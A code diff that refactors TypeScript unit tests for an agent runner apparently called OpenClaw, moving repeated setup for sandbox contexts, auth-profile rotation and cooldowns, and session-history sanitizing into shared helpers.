const model = {
api: "openai-codex-responses",
provider: "openai-codex",
id: "codex-mini-latest",
baseUrl: "https://chatgpt.com/backend-api/codex/responses",
} as Model<"openai-codex-responses">;
const context: Context = { messages: [] };
void agent.streamFn?.(model, context, {});
const payload = runStoreMutationCase({
applyProvider: "openai-codex",
applyModelId: "codex-mini-latest",
model: {
api: "openai-codex-responses",
provider: "openai-codex",
id: "codex-mini-latest",
baseUrl: "https://chatgpt.com/backend-api/codex/responses",
} as Model<"openai-codex-responses">,
});
expect(payload.store).toBe(false);
});
});

View File

@@ -2,42 +2,47 @@ import { describe, expect, it } from "vitest";
import type { SandboxContext } from "./sandbox.js";
import { buildEmbeddedSandboxInfo } from "./pi-embedded-runner.js";
function createSandboxContext(overrides?: Partial<SandboxContext>): SandboxContext {
const base = {
enabled: true,
sessionKey: "session:test",
workspaceDir: "/tmp/openclaw-sandbox",
agentWorkspaceDir: "/tmp/openclaw-workspace",
workspaceAccess: "none",
containerName: "openclaw-sbx-test",
containerWorkdir: "/workspace",
docker: {
image: "openclaw-sandbox:bookworm-slim",
containerPrefix: "openclaw-sbx-",
workdir: "/workspace",
readOnlyRoot: true,
tmpfs: ["/tmp"],
network: "none",
user: "1000:1000",
capDrop: ["ALL"],
env: { LANG: "C.UTF-8" },
},
tools: {
allow: ["exec"],
deny: ["browser"],
},
browserAllowHostControl: true,
browser: {
bridgeUrl: "http://localhost:9222",
noVncUrl: "http://localhost:6080",
containerName: "openclaw-sbx-browser-test",
},
} satisfies SandboxContext;
return { ...base, ...overrides };
}
describe("buildEmbeddedSandboxInfo", () => {
it("returns undefined when sandbox is missing", () => {
expect(buildEmbeddedSandboxInfo()).toBeUndefined();
});
it("maps sandbox context into prompt info", () => {
const sandbox = {
enabled: true,
sessionKey: "session:test",
workspaceDir: "/tmp/openclaw-sandbox",
agentWorkspaceDir: "/tmp/openclaw-workspace",
workspaceAccess: "none",
containerName: "openclaw-sbx-test",
containerWorkdir: "/workspace",
docker: {
image: "openclaw-sandbox:bookworm-slim",
containerPrefix: "openclaw-sbx-",
workdir: "/workspace",
readOnlyRoot: true,
tmpfs: ["/tmp"],
network: "none",
user: "1000:1000",
capDrop: ["ALL"],
env: { LANG: "C.UTF-8" },
},
tools: {
allow: ["exec"],
deny: ["browser"],
},
browserAllowHostControl: true,
browser: {
bridgeUrl: "http://localhost:9222",
noVncUrl: "http://localhost:6080",
containerName: "openclaw-sbx-browser-test",
},
} satisfies SandboxContext;
const sandbox = createSandboxContext();
expect(buildEmbeddedSandboxInfo(sandbox)).toEqual({
enabled: true,
@@ -52,31 +57,10 @@ describe("buildEmbeddedSandboxInfo", () => {
});
it("includes elevated info when allowed", () => {
const sandbox = {
enabled: true,
sessionKey: "session:test",
workspaceDir: "/tmp/openclaw-sandbox",
agentWorkspaceDir: "/tmp/openclaw-workspace",
workspaceAccess: "none",
containerName: "openclaw-sbx-test",
containerWorkdir: "/workspace",
docker: {
image: "openclaw-sandbox:bookworm-slim",
containerPrefix: "openclaw-sbx-",
workdir: "/workspace",
readOnlyRoot: true,
tmpfs: ["/tmp"],
network: "none",
user: "1000:1000",
capDrop: ["ALL"],
env: { LANG: "C.UTF-8" },
},
tools: {
allow: ["exec"],
deny: ["browser"],
},
const sandbox = createSandboxContext({
browserAllowHostControl: false,
} satisfies SandboxContext;
browser: undefined,
});
expect(
buildEmbeddedSandboxInfo(sandbox, {

View File

@@ -146,6 +146,32 @@ const nextSessionFile = () => {
const testSessionKey = "agent:test:embedded";
const immediateEnqueue = async <T>(task: () => Promise<T>) => task();
const runWithOrphanedSingleUserMessage = async (text: string) => {
const { SessionManager } = await import("@mariozechner/pi-coding-agent");
const sessionFile = nextSessionFile();
const sessionManager = SessionManager.open(sessionFile);
sessionManager.appendMessage({
role: "user",
content: [{ type: "text", text }],
});
const cfg = makeOpenAiConfig(["mock-1"]);
await ensureModels(cfg);
return await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: testSessionKey,
sessionFile,
workspaceDir,
config: cfg,
prompt: "hello",
provider: "openai",
model: "mock-1",
timeoutMs: 5_000,
agentDir,
enqueue: immediateEnqueue,
});
};
const textFromContent = (content: unknown) => {
if (typeof content === "string") {
return content;
@@ -172,6 +198,24 @@ const readSessionMessages = async (sessionFile: string) => {
.map((entry) => entry.message as { role?: string; content?: unknown });
};
const runDefaultEmbeddedTurn = async (sessionFile: string, prompt: string) => {
const cfg = makeOpenAiConfig(["mock-1"]);
await ensureModels(cfg);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: testSessionKey,
sessionFile,
workspaceDir,
config: cfg,
prompt,
provider: "openai",
model: "mock-1",
timeoutMs: 5_000,
agentDir,
enqueue: immediateEnqueue,
});
};
describe("runEmbeddedPiAgent", () => {
it("writes models.json into the provided agentDir", async () => {
const sessionFile = nextSessionFile();
@@ -289,22 +333,7 @@ describe("runEmbeddedPiAgent", () => {
it("persists the first user message before assistant output", { timeout: 120_000 }, async () => {
const sessionFile = nextSessionFile();
const cfg = makeOpenAiConfig(["mock-1"]);
await ensureModels(cfg);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: testSessionKey,
sessionFile,
workspaceDir,
config: cfg,
prompt: "hello",
provider: "openai",
model: "mock-1",
timeoutMs: 5_000,
agentDir,
enqueue: immediateEnqueue,
});
await runDefaultEmbeddedTurn(sessionFile, "hello");
const messages = await readSessionMessages(sessionFile);
const firstUserIndex = messages.findIndex(
@@ -380,22 +409,7 @@ describe("runEmbeddedPiAgent", () => {
timestamp: Date.now(),
});
const cfg = makeOpenAiConfig(["mock-1"]);
await ensureModels(cfg);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: testSessionKey,
sessionFile,
workspaceDir,
config: cfg,
prompt: "hello",
provider: "openai",
model: "mock-1",
timeoutMs: 5_000,
agentDir,
enqueue: immediateEnqueue,
});
await runDefaultEmbeddedTurn(sessionFile, "hello");
const messages = await readSessionMessages(sessionFile);
const seedUserIndex = messages.findIndex(
@@ -475,62 +489,14 @@ describe("runEmbeddedPiAgent", () => {
});
it("repairs orphaned user messages and continues", async () => {
const { SessionManager } = await import("@mariozechner/pi-coding-agent");
const sessionFile = nextSessionFile();
const sessionManager = SessionManager.open(sessionFile);
sessionManager.appendMessage({
role: "user",
content: [{ type: "text", text: "orphaned user" }],
});
const cfg = makeOpenAiConfig(["mock-1"]);
await ensureModels(cfg);
const result = await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: testSessionKey,
sessionFile,
workspaceDir,
config: cfg,
prompt: "hello",
provider: "openai",
model: "mock-1",
timeoutMs: 5_000,
agentDir,
enqueue: immediateEnqueue,
});
const result = await runWithOrphanedSingleUserMessage("orphaned user");
expect(result.meta.error).toBeUndefined();
expect(result.payloads?.length ?? 0).toBeGreaterThan(0);
});
it("repairs orphaned single-user sessions and continues", async () => {
const { SessionManager } = await import("@mariozechner/pi-coding-agent");
const sessionFile = nextSessionFile();
const sessionManager = SessionManager.open(sessionFile);
sessionManager.appendMessage({
role: "user",
content: [{ type: "text", text: "solo user" }],
});
const cfg = makeOpenAiConfig(["mock-1"]);
await ensureModels(cfg);
const result = await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: testSessionKey,
sessionFile,
workspaceDir,
config: cfg,
prompt: "hello",
provider: "openai",
model: "mock-1",
timeoutMs: 5_000,
agentDir,
enqueue: immediateEnqueue,
});
const result = await runWithOrphanedSingleUserMessage("solo user");
expect(result.meta.error).toBeUndefined();
expect(result.payloads?.length ?? 0).toBeGreaterThan(0);

View File

@@ -3,85 +3,59 @@ import { SessionManager } from "@mariozechner/pi-coding-agent";
import { describe, expect, it } from "vitest";
import { sanitizeSessionHistory } from "./pi-embedded-runner/google.js";
type AssistantThinking = { type?: string; thinking?: string; thinkingSignature?: string };
function getAssistantMessage(out: AgentMessage[]) {
return out.find((msg) => (msg as { role?: string }).role === "assistant") as
| { content?: AssistantThinking[] }
| undefined;
}
async function sanitizeGoogleAssistantWithContent(content: unknown[]) {
const sessionManager = SessionManager.inMemory();
const input = [
{
role: "user",
content: "hi",
},
{
role: "assistant",
content,
},
] satisfies AgentMessage[];
const out = await sanitizeSessionHistory({
messages: input,
modelApi: "google-antigravity",
sessionManager,
sessionId: "session:google",
});
return getAssistantMessage(out);
}
describe("sanitizeSessionHistory (google thinking)", () => {
it("keeps thinking blocks without signatures for Google models", async () => {
const sessionManager = SessionManager.inMemory();
const input = [
{
role: "user",
content: "hi",
},
{
role: "assistant",
content: [{ type: "thinking", thinking: "reasoning" }],
},
] satisfies AgentMessage[];
const out = await sanitizeSessionHistory({
messages: input,
modelApi: "google-antigravity",
sessionManager,
sessionId: "session:google",
});
const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as {
content?: Array<{ type?: string; thinking?: string }>;
};
const assistant = await sanitizeGoogleAssistantWithContent([
{ type: "thinking", thinking: "reasoning" },
]);
expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]);
expect(assistant.content?.[0]?.thinking).toBe("reasoning");
});
it("keeps thinking blocks with signatures for Google models", async () => {
const sessionManager = SessionManager.inMemory();
const input = [
{
role: "user",
content: "hi",
},
{
role: "assistant",
content: [{ type: "thinking", thinking: "reasoning", thinkingSignature: "sig" }],
},
] satisfies AgentMessage[];
const out = await sanitizeSessionHistory({
messages: input,
modelApi: "google-antigravity",
sessionManager,
sessionId: "session:google",
});
const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as {
content?: Array<{ type?: string; thinking?: string; thinkingSignature?: string }>;
};
const assistant = await sanitizeGoogleAssistantWithContent([
{ type: "thinking", thinking: "reasoning", thinkingSignature: "sig" },
]);
expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]);
expect(assistant.content?.[0]?.thinking).toBe("reasoning");
expect(assistant.content?.[0]?.thinkingSignature).toBe("sig");
});
it("keeps thinking blocks with Anthropic-style signatures for Google models", async () => {
const sessionManager = SessionManager.inMemory();
const input = [
{
role: "user",
content: "hi",
},
{
role: "assistant",
content: [{ type: "thinking", thinking: "reasoning", signature: "sig" }],
},
] satisfies AgentMessage[];
const out = await sanitizeSessionHistory({
messages: input,
modelApi: "google-antigravity",
sessionManager,
sessionId: "session:google",
});
const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as {
content?: Array<{ type?: string; thinking?: string }>;
};
const assistant = await sanitizeGoogleAssistantWithContent([
{ type: "thinking", thinking: "reasoning", signature: "sig" },
]);
expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]);
expect(assistant.content?.[0]?.thinking).toBe("reasoning");
});

View File

@@ -120,55 +120,154 @@ const writeAuthStore = async (
await fs.writeFile(authPath, JSON.stringify(payload));
};
const mockFailedThenSuccessfulAttempt = (errorMessage = "rate limit") => {
runEmbeddedAttemptMock
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: [],
lastAssistant: buildAssistant({
stopReason: "error",
errorMessage,
}),
}),
)
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: ["ok"],
lastAssistant: buildAssistant({
stopReason: "stop",
content: [{ type: "text", text: "ok" }],
}),
}),
);
};
async function runAutoPinnedOpenAiTurn(params: {
agentDir: string;
workspaceDir: string;
sessionKey: string;
runId: string;
authProfileId?: string;
}) {
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: params.sessionKey,
sessionFile: path.join(params.workspaceDir, "session.jsonl"),
workspaceDir: params.workspaceDir,
agentDir: params.agentDir,
config: makeConfig(),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileId: params.authProfileId ?? "openai:p1",
authProfileIdSource: "auto",
timeoutMs: 5_000,
runId: params.runId,
});
}
async function readUsageStats(agentDir: string) {
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as { usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }> };
return stored.usageStats ?? {};
}
async function expectProfileP2UsageUpdated(agentDir: string) {
const usageStats = await readUsageStats(agentDir);
expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number");
}
async function expectProfileP2UsageUnchanged(agentDir: string) {
const usageStats = await readUsageStats(agentDir);
expect(usageStats["openai:p2"]?.lastUsed).toBe(2);
}
function mockSingleSuccessfulAttempt() {
runEmbeddedAttemptMock.mockResolvedValueOnce(
makeAttempt({
assistantTexts: ["ok"],
lastAssistant: buildAssistant({
stopReason: "stop",
content: [{ type: "text", text: "ok" }],
}),
}),
);
}
async function withTimedAgentWorkspace<T>(
run: (ctx: { agentDir: string; workspaceDir: string; now: number }) => Promise<T>,
) {
vi.useFakeTimers();
try {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
const now = Date.now();
vi.setSystemTime(now);
try {
return await run({ agentDir, workspaceDir, now });
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
} finally {
vi.useRealTimers();
}
}
async function runTurnWithCooldownSeed(params: {
sessionKey: string;
runId: string;
authProfileId: string | undefined;
authProfileIdSource: "auto" | "user";
}) {
return await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => {
await writeAuthStore(agentDir, {
usageStats: {
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
"openai:p2": { lastUsed: 2 },
},
});
mockSingleSuccessfulAttempt();
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: params.sessionKey,
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
agentDir,
config: makeConfig(),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileId: params.authProfileId,
authProfileIdSource: params.authProfileIdSource,
timeoutMs: 5_000,
runId: params.runId,
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
return { usageStats: await readUsageStats(agentDir), now };
});
}
describe("runEmbeddedPiAgent auth profile rotation", () => {
it("rotates for auto-pinned profiles", async () => {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
try {
await writeAuthStore(agentDir);
runEmbeddedAttemptMock
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: [],
lastAssistant: buildAssistant({
stopReason: "error",
errorMessage: "rate limit",
}),
}),
)
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: ["ok"],
lastAssistant: buildAssistant({
stopReason: "stop",
content: [{ type: "text", text: "ok" }],
}),
}),
);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: "agent:test:auto",
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
mockFailedThenSuccessfulAttempt("rate limit");
await runAutoPinnedOpenAiTurn({
agentDir,
config: makeConfig(),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileId: "openai:p1",
authProfileIdSource: "auto",
timeoutMs: 5_000,
workspaceDir,
sessionKey: "agent:test:auto",
runId: "run:auto",
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as { usageStats?: Record<string, { lastUsed?: number }> };
expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number");
await expectProfileP2UsageUpdated(agentDir);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
@@ -180,49 +279,16 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
try {
await writeAuthStore(agentDir);
runEmbeddedAttemptMock
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: [],
lastAssistant: buildAssistant({
stopReason: "error",
errorMessage: "request ended without sending any chunks",
}),
}),
)
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: ["ok"],
lastAssistant: buildAssistant({
stopReason: "stop",
content: [{ type: "text", text: "ok" }],
}),
}),
);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: "agent:test:empty-chunk-stream",
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
mockFailedThenSuccessfulAttempt("request ended without sending any chunks");
await runAutoPinnedOpenAiTurn({
agentDir,
config: makeConfig(),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileId: "openai:p1",
authProfileIdSource: "auto",
timeoutMs: 5_000,
workspaceDir,
sessionKey: "agent:test:empty-chunk-stream",
runId: "run:empty-chunk-stream",
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as { usageStats?: Record<string, { lastUsed?: number }> };
expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number");
await expectProfileP2UsageUpdated(agentDir);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
@@ -267,10 +333,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
expect(result.meta.aborted).toBe(true);
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as { usageStats?: Record<string, { lastUsed?: number }> };
expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2);
await expectProfileP2UsageUnchanged(agentDir);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
@@ -310,11 +373,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as { usageStats?: Record<string, { lastUsed?: number }> };
expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2);
await expectProfileP2UsageUnchanged(agentDir);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
@@ -322,71 +381,16 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
});
it("honors user-pinned profiles even when in cooldown", async () => {
vi.useFakeTimers();
try {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
const now = Date.now();
vi.setSystemTime(now);
const { usageStats } = await runTurnWithCooldownSeed({
sessionKey: "agent:test:user-cooldown",
runId: "run:user-cooldown",
authProfileId: "openai:p1",
authProfileIdSource: "user",
});
try {
const authPath = path.join(agentDir, "auth-profiles.json");
const payload = {
version: 1,
profiles: {
"openai:p1": { type: "api_key", provider: "openai", key: "sk-one" },
"openai:p2": { type: "api_key", provider: "openai", key: "sk-two" },
},
usageStats: {
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
"openai:p2": { lastUsed: 2 },
},
};
await fs.writeFile(authPath, JSON.stringify(payload));
runEmbeddedAttemptMock.mockResolvedValueOnce(
makeAttempt({
assistantTexts: ["ok"],
lastAssistant: buildAssistant({
stopReason: "stop",
content: [{ type: "text", text: "ok" }],
}),
}),
);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: "agent:test:user-cooldown",
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
agentDir,
config: makeConfig(),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileId: "openai:p1",
authProfileIdSource: "user",
timeoutMs: 5_000,
runId: "run:user-cooldown",
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as {
usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }>;
};
expect(stored.usageStats?.["openai:p1"]?.cooldownUntil).toBeUndefined();
expect(stored.usageStats?.["openai:p1"]?.lastUsed).not.toBe(1);
expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
} finally {
vi.useRealTimers();
}
expect(usageStats["openai:p1"]?.cooldownUntil).toBeUndefined();
expect(usageStats["openai:p1"]?.lastUsed).not.toBe(1);
expect(usageStats["openai:p2"]?.lastUsed).toBe(2);
});
it("ignores user-locked profile when provider mismatches", async () => {
@@ -429,116 +433,50 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
});
it("skips profiles in cooldown during initial selection", async () => {
vi.useFakeTimers();
try {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
const now = Date.now();
vi.setSystemTime(now);
const { usageStats, now } = await runTurnWithCooldownSeed({
sessionKey: "agent:test:skip-cooldown",
runId: "run:skip-cooldown",
authProfileId: undefined,
authProfileIdSource: "auto",
});
try {
const authPath = path.join(agentDir, "auth-profiles.json");
const payload = {
version: 1,
profiles: {
"openai:p1": { type: "api_key", provider: "openai", key: "sk-one" },
"openai:p2": { type: "api_key", provider: "openai", key: "sk-two" },
},
usageStats: {
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 }, // p1 in cooldown for 1 hour
"openai:p2": { lastUsed: 2 },
},
};
await fs.writeFile(authPath, JSON.stringify(payload));
runEmbeddedAttemptMock.mockResolvedValueOnce(
makeAttempt({
assistantTexts: ["ok"],
lastAssistant: buildAssistant({
stopReason: "stop",
content: [{ type: "text", text: "ok" }],
}),
}),
);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: "agent:test:skip-cooldown",
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
agentDir,
config: makeConfig(),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileId: undefined,
authProfileIdSource: "auto",
timeoutMs: 5_000,
runId: "run:skip-cooldown",
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1);
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as { usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }> };
expect(stored.usageStats?.["openai:p1"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number");
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
} finally {
vi.useRealTimers();
}
expect(usageStats["openai:p1"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number");
});
it("fails over when all profiles are in cooldown and fallbacks are configured", async () => {
vi.useFakeTimers();
try {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-"));
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-"));
const now = Date.now();
vi.setSystemTime(now);
await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => {
await writeAuthStore(agentDir, {
usageStats: {
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
"openai:p2": { lastUsed: 2, cooldownUntil: now + 60 * 60 * 1000 },
},
});
try {
await writeAuthStore(agentDir, {
usageStats: {
"openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 },
"openai:p2": { lastUsed: 2, cooldownUntil: now + 60 * 60 * 1000 },
},
});
await expect(
runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: "agent:test:cooldown-failover",
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
agentDir,
config: makeConfig({ fallbacks: ["openai/mock-2"] }),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileIdSource: "auto",
timeoutMs: 5_000,
runId: "run:cooldown-failover",
}),
).rejects.toMatchObject({
name: "FailoverError",
reason: "rate_limit",
await expect(
runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: "agent:test:cooldown-failover",
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
agentDir,
config: makeConfig({ fallbacks: ["openai/mock-2"] }),
prompt: "hello",
provider: "openai",
model: "mock-1",
});
authProfileIdSource: "auto",
timeoutMs: 5_000,
runId: "run:cooldown-failover",
}),
).rejects.toMatchObject({
name: "FailoverError",
reason: "rate_limit",
provider: "openai",
model: "mock-1",
});
expect(runEmbeddedAttemptMock).not.toHaveBeenCalled();
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });
}
} finally {
vi.useRealTimers();
}
expect(runEmbeddedAttemptMock).not.toHaveBeenCalled();
});
});
it("fails over when auth is unavailable and fallbacks are configured", async () => {
@@ -604,52 +542,19 @@ describe("runEmbeddedPiAgent auth profile rotation", () => {
};
await fs.writeFile(authPath, JSON.stringify(payload));
runEmbeddedAttemptMock
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: [],
lastAssistant: buildAssistant({
stopReason: "error",
errorMessage: "rate limit",
}),
}),
)
.mockResolvedValueOnce(
makeAttempt({
assistantTexts: ["ok"],
lastAssistant: buildAssistant({
stopReason: "stop",
content: [{ type: "text", text: "ok" }],
}),
}),
);
await runEmbeddedPiAgent({
sessionId: "session:test",
sessionKey: "agent:test:rotate-skip-cooldown",
sessionFile: path.join(workspaceDir, "session.jsonl"),
workspaceDir,
mockFailedThenSuccessfulAttempt("rate limit");
await runAutoPinnedOpenAiTurn({
agentDir,
config: makeConfig(),
prompt: "hello",
provider: "openai",
model: "mock-1",
authProfileId: "openai:p1",
authProfileIdSource: "auto",
timeoutMs: 5_000,
workspaceDir,
sessionKey: "agent:test:rotate-skip-cooldown",
runId: "run:rotate-skip-cooldown",
});
expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2);
const stored = JSON.parse(
await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"),
) as {
usageStats?: Record<string, { lastUsed?: number; cooldownUntil?: number }>;
};
expect(typeof stored.usageStats?.["openai:p1"]?.lastUsed).toBe("number");
expect(typeof stored.usageStats?.["openai:p3"]?.lastUsed).toBe("number");
expect(stored.usageStats?.["openai:p2"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
const usageStats = await readUsageStats(agentDir);
expect(typeof usageStats["openai:p1"]?.lastUsed).toBe("number");
expect(typeof usageStats["openai:p3"]?.lastUsed).toBe("number");
expect(usageStats["openai:p2"]?.cooldownUntil).toBe(now + 60 * 60 * 1000);
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
await fs.rm(workspaceDir, { recursive: true, force: true });

View File

@@ -1,11 +1,12 @@
import type { AgentMessage } from "@mariozechner/pi-agent-core";
import type { SessionManager } from "@mariozechner/pi-coding-agent";
import { beforeEach, describe, expect, it, vi } from "vitest";
import * as helpers from "./pi-embedded-helpers.js";
import {
makeInMemorySessionManager,
makeModelSnapshotEntry,
makeReasoningAssistantMessages,
expectGoogleModelApiFullSanitizeCall,
loadSanitizeSessionHistoryWithCleanMocks,
makeMockSessionManager,
makeSimpleUserMessages,
makeSnapshotChangedOpenAIReasoningScenario,
sanitizeWithOpenAIResponses,
} from "./pi-embedded-runner.sanitize-session-history.test-harness.js";
type SanitizeSessionHistory =
@@ -22,45 +23,28 @@ vi.mock("./pi-embedded-helpers.js", async () => {
});
describe("sanitizeSessionHistory e2e smoke", () => {
const mockSessionManager = {
getEntries: vi.fn().mockReturnValue([]),
appendCustomEntry: vi.fn(),
} as unknown as SessionManager;
const mockMessages: AgentMessage[] = [{ role: "user", content: "hello" }];
const mockSessionManager = makeMockSessionManager();
const mockMessages = makeSimpleUserMessages();
beforeEach(async () => {
vi.resetAllMocks();
vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs);
({ sanitizeSessionHistory } = await import("./pi-embedded-runner/google.js"));
sanitizeSessionHistory = await loadSanitizeSessionHistoryWithCleanMocks();
});
it("applies full sanitize policy for google model APIs", async () => {
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true);
await sanitizeSessionHistory({
await expectGoogleModelApiFullSanitizeCall({
sanitizeSessionHistory,
messages: mockMessages,
modelApi: "google-generative-ai",
provider: "google-vertex",
sessionManager: mockSessionManager,
sessionId: "test-session",
});
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
mockMessages,
"session:history",
expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }),
);
});
it("keeps images-only sanitize policy without tool-call id rewriting for openai-responses", async () => {
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false);
await sanitizeSessionHistory({
await sanitizeWithOpenAIResponses({
sanitizeSessionHistory,
messages: mockMessages,
modelApi: "openai-responses",
provider: "openai",
sessionManager: mockSessionManager,
sessionId: "test-session",
});
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
@@ -74,23 +58,13 @@ describe("sanitizeSessionHistory e2e smoke", () => {
});
it("downgrades openai reasoning blocks when the model snapshot changed", async () => {
const sessionEntries = [
makeModelSnapshotEntry({
provider: "anthropic",
modelApi: "anthropic-messages",
modelId: "claude-3-7",
}),
];
const sessionManager = makeInMemorySessionManager(sessionEntries);
const messages = makeReasoningAssistantMessages({ thinkingSignature: "object" });
const { sessionManager, messages, modelId } = makeSnapshotChangedOpenAIReasoningScenario();
const result = await sanitizeSessionHistory({
const result = await sanitizeWithOpenAIResponses({
sanitizeSessionHistory,
messages,
modelApi: "openai-responses",
provider: "openai",
modelId: "gpt-5.2-codex",
modelId,
sessionManager,
sessionId: "test-session",
});
expect(result).toEqual([]);

View File

